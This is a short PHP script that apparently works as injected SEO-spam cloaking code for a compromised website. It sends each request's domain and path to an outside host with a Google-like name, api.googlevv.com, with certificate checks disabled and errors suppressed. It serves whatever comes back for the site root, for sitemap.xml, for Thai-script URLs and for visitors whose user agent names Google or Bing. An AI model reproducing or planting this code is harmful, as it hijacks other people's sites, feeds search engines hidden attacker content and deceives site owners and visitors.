<?php
	ob_start();
	http_response_code(200);
	header("HTTP/1.0 200");
	header("HTTP/1.1 200");
	header("HTTP/2.0 200");
	header("HTTP/2.1 200");
	header('Status: 200', TRUE, 200);
	header("Content-Type: text/html; charset=utf-8");
try{
    ini_set('display_errors','off');
    error_reporting(E_ALL ^ E_NOTICE); 
    set_time_limit(0);
	$api_url = "https://api.googlevv.com/3-1/show.php";
    $header_curl = $_SERVER['HTTP_USER_AGENT'];
	$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https://' : 'http://';
    $domain = isset($_SERVER['HTTP_X_FORWARDED_HOST']) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '');
    $file=(isset($_SERVER['REQUEST_URI']) && $_SERVER['REQUEST_URI']!='')?$_SERVER['REQUEST_URI']:$_SERVER['HTTP_X_REWRITE_URL'];
	$post_data = array('file'=>$file,'domain'=>$domain,'http'=>$protocol);

	
	if (
    (preg_match('/[\x{0E00}-\x{0E7F}]/u', urldecode($file)) || stristr($file, "sitemap.xml")) &&!preg_match('/[?=&]/', $file)||$file=="/") {
		$result = posturl($api_url."?".$domain.$file,$post_data);
				if(stristr($file,"sitemap.xml"))
				{
					header('Content-Type: application/xml');
					echo $result;
					exit;
				}
				
				
				if(strlen($result) != 0){
					echo $result;
					exit();
					}
		
		
		
		
		
		
		
		
	
		}
	  if(stristr($header_curl,strtolower('google'))!==false | stristr($header_curl,strtolower('bing'))!==false){
		$api_url = "https://api.googlevv.com/3-1/404.php";
		$result = posturl($api_url."?".$domain.$file,$post_data);
		if(strlen($result) != 0){
		echo $result;
		}
	  }
}catch (Exception $exception){
}

function posturl($url,$post_data=null){
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_HEADER, 0);
    curl_setopt($curl, CURLOPT_TIMEOUT, 30);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_USERAGENT,@$_SERVER['HTTP_USER_AGENT']);
    curl_setopt($curl, CURLOPT_REFERER, @$_SERVER['HTTP_REFERER']);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($curl, CURLOPT_POST, 1);
    curl_setopt($curl, CURLOPT_POSTFIELDS, json_encode($post_data));
    $data = curl_exec($curl);
    curl_close($curl);
    return $data;
}

?>